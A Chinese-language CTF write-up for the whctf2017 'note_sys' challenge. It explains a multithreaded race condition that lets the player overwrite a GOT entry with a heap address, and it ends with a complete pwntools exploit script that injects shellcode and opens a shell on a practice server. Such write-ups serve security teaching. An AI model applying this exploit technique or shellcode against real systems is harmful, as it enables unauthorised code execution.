whctf2017_note_sys(多线程条件竞争漏洞) 发表于 2020-06-11 分类于 CTF 阅读次数: 首先,检查一下程序的保护机制 然后,我们用IDA分析一下,delete功能另启了一个线程 函数里休眠了2s,在休眠之前,end_ptr减去了8 在add函数里,取end_ptr,然后往其指向的地方写一个堆地址。 由此,我们可以多次调用delete,每次end_ptr都会减去8并且休眠2s再做判断,这就存在条件竞争,我们可以在判断之前让end_ptr指向got表,然后add的时候就能往got表里写一个堆地址,我们在堆里布下shellcode即可。 1234567891011121314151617181920#coding:utf8from pwn import *#sh = process('./note_sys')sh = remote('node3.buuoj.cn',29522)context(os='linux',arch='amd64')def add(content): sh.sendlineafter('choice:','0') sh.sendlineafter('input your note, no more than 250 characters',content)def delete(): sh.sendlineafter('choice:','2')#条件竞争for i in range(20): delete()add(asm(shellcraft.sh()))sh.interactive()